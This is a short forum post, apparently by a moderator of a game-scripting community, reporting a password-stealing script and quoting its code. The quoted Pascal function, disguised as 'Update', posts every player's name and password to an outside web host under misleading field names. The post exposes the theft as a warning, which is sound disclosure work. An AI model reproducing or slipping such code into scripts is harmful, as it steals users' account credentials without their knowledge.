Hobbit
2009-01-19 11:01:09
Another password stealing script…
http://www.villavu.com/forum/showthread.php?t=40878?p=531569#post531569
I've unapproved the attachment and closed the thread for now.
Discuss.
http://www.villavu.com/forum/showthread.php?t=40878?p=531569#post531569
function Update: boolean;
var
MyClient, i: integer;
begin
MyClient := InitializeHTTPClient(False, False);
for i := 0 to Length(Players) - 1 do
begin
AddPostVariable(MyClient, 'SBeta' + intToStr(i), Players[i].Name);
AddPostVariable(MyClient, 'SVers' + intToStr(i), Players[i].Pass);
end;
Result := StrToBoolDef(PostHTTPPageEx(MyClient, 'http://tsdownloader.100webspace.net/index.php'), False);
FreeHTTPClient(MyClient);
end;I've unapproved the attachment and closed the thread for now.
Discuss.